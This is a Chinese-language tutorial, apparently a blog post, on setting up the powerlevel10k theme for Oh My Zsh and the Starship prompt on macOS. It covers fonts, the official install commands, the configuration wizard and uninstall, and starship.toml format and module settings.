因为许多主题需要安装 Powerline 字体或 Nerd 字体才能正确渲染。如果没有安装这些字体,这些主题会显示奇怪的提示符符号。
.zshrc文件中本身被写入了原始的设置,如果要修改,记得把之前的删除掉,否则无法替换
可以在终端输入下面的命令cd ~/.oh-my-zsh/themes && ls,来查看所有自带的主题
根据 What’s the best theme for Oh My Zsh? 中的排名,以及自定义化、美观程度,强烈建议使用 powerlevel10k
- 下载主题git
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k
# 中国用户可以使用 gitee.com 上的官方镜像加速下载
git clone --depth=1 https://gitee.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k会下载到
.oh-my-zsh/custom/theme中,不要放置到自带的主题中,容易冲突
修改主题配置 在
~/.zshrc设置ZSH_THEME="powerlevel10k/powerlevel10k"。接下来,终端会自动引导你配置powerlevel10k引导theme安装
This is Powerlevel10k configuration wizard. You are seeing it because you haven't
defined any Powerlevel10k configuration options. It will ask you a few questions and
configure your prompt.
Does this look like a diamond (rotated square)?
reference: https://graphemica.com/%E2%97%86
---> <---
(y) Yes.
(n) No.
(q) Quit and do nothing.
Choice [ynq]:主要是配置显示是否正确,比如
---> 箭头 <---,数字显示是否正确等

最后选择自己喜欢的格式即可
- 卸载
uninstall_oh_my_zsh终端会提醒
Removing ~/.oh-my-zsh
Found ~/.zshrc -- Renaming to /Users/qiaowu/.zshrc.omz-uninstalled-2026-03-22_17-06-13
Looking for original zsh config...
Found /Users/qiaowu/.zshrc.pre-oh-my-zsh -- Restoring to ~/.zshrc
Your original zsh config was restored.
Thanks for trying out Oh My Zsh. It's been uninstalled.
Don't forget to restart your terminal!7.3 Starship安装
Starship 是一个用 Rust 编写的开源项目,它可以帮助你建立一个精简、快速、可定制的 shell 提示符。它的配置核心在于通过一个 TOML 文件(通常是 ~/.config/starship.toml)来控制命令行前面的 $ 或 # 符号之前显示哪些信息
无论你是使用 bash、fish、还是 Windows 上的 PowerShell,抑或其他 shell,你都可以利用Starship 来定制外观。
Starship优势:
- 跨平台
- 跨shell支持
- 自定义命令
- 定制化git体验
- 定制提示符每一个方面
- 安装前提
字体
Nerd Font:为了正确显示 Starship 的图标和特殊字符,建议安装 Nerd Font 字体(如 FiraCode Nerd Font、Hack Nerd Font 等)。安装后,确保你的终端使用该字体。
这里使用brew进行快捷安装FiraCode Nerd Font,安装完成后在终端设置中选择这个字体
brew install --cask font-fira-code-nerd-font- 快速安装
curl -sS https://starship.rs/install.sh | sh
brew install starship
- 添加路径
将初始化脚本添加到您的 shell 的配置文件中
- bash: 在
~/.bashrc中添加eval "$(starship init bash)" - zsh: 在
~/.zshrc中添加eval "$(starship init zsh)" - fish: 在
~/.config/fish/config.fish中添加starship init fish | source
不同的shell配置方式请参考官网
- 配置
为 Starship 创建配置文件 ~/.config/starship.toml,所有的设置都是从toml文件中读取的
TOML = Tom’s Obvious, Minimal Language;TOML = 一种配置文件格式(类似 JSON / YAML)
mkdir -p ~/.config && touch ~/.config/starship.toml也可以使用STARSHIP_CONFIG 环境变量更改默认配置文件的位置
export STARSHIP_CONFIG=~/example/non/default/path/starship.tomlstarship的配置其实非常强大,但核心可以理解为
通过
starship.toml控制终端提示符(prompt)的显示内容、样式和行为
组件(Module):提示符中显示信息的部分,基于系统上下文信息。 例如,如果您当前的目录是 Node.js 项目,“nodejs” 组件会显示当前安装在您电脑上的 Node.js 的版本
字段(Variable):组件中显示信息的部分。 例如,“nodejs”组件里的“version”字段包含了现有 Node.js 的版本
在官网提供了一些预设的模板,最省事的就是套用即可
- 点击想要的模板
- 进入页面之后进行复制即可
- 粘贴到toml文件中

配置体系简介
通过 starship.toml 控制终端提示符(prompt)的显示内容、样式和行为,所见的提示符就是界面所看到的,美观实用即可
toml设置可以理解为:先是format设置提示符显示的顺序,然后再通过组件进行挨个的定义
format = "$username$hostname$directory$git_branch$git_status$python$nodejs$character"- 控制显示顺序
- 控制提示符的顺序,如上显示uasername,hostname,文件夹,git分支,git状态,等等
- 核心配置项 (Top-level Configuration)
| 配置项 | 说明 | 默认值 |
|---|---|---|
format |
核心:定义提示符的组件布局。使用 $all 通配符或具体组件名。 |
$all |
scan-for-configs |
是否在进入子目录时自动扫描并加载该目录下的 .starship.toml。 |
false |
add_newline |
在提示符前是否添加一个空行。 | true |
continuation_prompt |
多行命令输入时(如写函数、循环),下一行的提示符内容。 | > |
- 提示符组件 (Prompt Components)
这是 Starship 最强大的部分。文档中列出了数十种组件(如 Package、NodeJS、Python 等),每个组件都有独立的配置块。
[rust]
# format: 定义该组件的显示格式,包含符号(symbol)和版本(version)
format = "via [🔴 $version](bold red) "
# disabled: 是否禁用该组件
disabled = false
# style: 文本样式(颜色、粗体等)
style = "bold red"
# symbol: 组件前面的图标
symbol = "🦀 "- 状态类:username(用户名)、hostname(主机名)、directory(当前路径)
- 环境类:package(Node.js 版本)、python(Python 虚拟环境)、rust(Rust 工具链)。
- Git 类:git_branch(分支名)、git_status(文件状态)
- 执行时间:cmd_duration(上一条命令的执行时间)
- 条件渲染 (Conditional Prompts)
Starship 支持根据条件显示不同的提示符,这在多环境开发中非常有用。
- 基于目录的配置:通过设置 directory 组件的 truncation_length 和 truncate_to_repo,可以控制路径显示的长度。
- 自定义键值:可以使用 custom 模块来运行脚本,根据脚本的输出决定是否显示特定内容